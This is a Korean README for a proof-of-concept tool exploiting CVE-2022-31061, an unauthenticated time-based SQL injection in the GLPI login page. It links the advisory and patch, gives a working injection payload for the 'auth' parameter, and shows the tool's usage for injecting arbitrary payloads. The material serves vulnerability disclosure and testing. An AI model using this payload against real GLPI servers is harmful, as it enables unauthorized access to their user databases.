CVE-2022-31061

GLPI CVE-2022-31061에 대한 PoC (개념 증명)

GLPI >= 9.3.0 및 < 10.0.2에 대한 개념 증명 - 로그인 페이지에서의 인증되지 않은 SQL 인젝션

법적 고지 :

상호 동의 없이 이 스크립트를 사용하여 대상을 공격하는 것은 불법입니다. 최종 사용자는 자신의 위치에서 적용 가능한 모든 법률을 준수할 책임이 있습니다. 개발자는 어떠한 책임도 지지 않으며, 이 프로그램으로 인한 오용이나 손해에 대해 책임을 지지 않습니다.

컨텍스트 :

공개 공개 : https://github.com/glpi-project/glpi/security/advisories/GHSA-w2gc-v2gm-q7wq (2022-06-28)

패치 : https://github.com/glpi-project/glpi/releases/tag/10.0.2 (2022-06-28)

커밋 : https://github.com/glpi-project/glpi/commit/21ae07d00d0b3230f6235386e98388cfc5bb0514

취약점 :

페이지 : POST /front/login.php
파라미터 : &auth=ldap-1%27+UNION+SELECT+SLEEP%285%29+%23+
인젝션 : 블라인드 시간 기반 인젝션

##사용법

Usage: CVE-2022-31061.py -t https://example.com [-v] [-c cmd]

Options:
  -h, --help            show this help message and exit
  -t TARGET, --target=TARGET
                        GLPI Website to audit
  -v, --verbose         Display verbose output
  -c CMD, --cmd=CMD     payload to inject. Time based Bind Injection. Context
                        : ' SELECT `id` FROM `glpi_users` WHERE `name` =
                        'fzrfdse' AND `authtype` = '3' AND `auths_id` = '1'
                        [payload] # '
  -u USERAGENT, --user-agent=USERAGENT
                        user-agent to use
  -p PROXY, --proxy=PROXY
                        proxy to use

CVE-2022-31061

인기

예시 :